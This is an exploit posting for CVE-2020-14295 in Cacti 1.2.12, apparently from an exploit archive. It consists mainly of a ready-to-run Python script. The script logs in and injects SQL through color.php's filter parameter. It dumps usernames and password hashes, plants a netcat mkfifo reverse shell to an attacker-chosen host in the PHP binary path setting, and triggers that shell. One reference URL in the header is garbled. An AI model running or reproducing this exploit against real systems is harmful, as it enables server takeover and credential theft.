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Cacti 1.2.12 SQL Injection / Remote Code Execution

Cacti 1.2.12 SQL Injection / Remote Code Execution
Posted Apr 29, 2021
Authored by M4yFly, Leonardo Paiva

Cacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.

tags | exploit, remote, code execution, sql injection
advisories | CVE-2020-14295
MD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3

Cacti 1.2.12 SQL Injection / Remote Code Execution

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# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
print("[+] Connecting to the server...")
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

print("[+] Retrieving CSRF token...")
html_content = get_token_request.text
soup = BeautifulSoup(html_content, 'html.parser')

csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

if csrf_token:
print(f"[+] Got CSRF token: {csrf_token}")
print("[+] Trying to log in...")

data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password
}

login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
if "Invalid User Name/Password Please Retype" in login_request.text:
print("[-] Unable to log in. Check your credentials")
sys.exit()
else:
print("[+] Successfully logged in!")
else:
print("[-] Unable to retrieve CSRF token!")
sys.exit()


def exploit(lhost, lport, session):
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

print("\n[+] SQL Injection:")
print(exploit_request.text)

try:
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
except Exception:
pass

print("[+] Check your nc listener!")

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
args = parser.parse_args()

url = args.t
username = args.u
password = args.p
lhost = args.lhost
lport = args.lport

session = requests.Session()

login(url, username, password, session)
exploit(lhost, lport, session)

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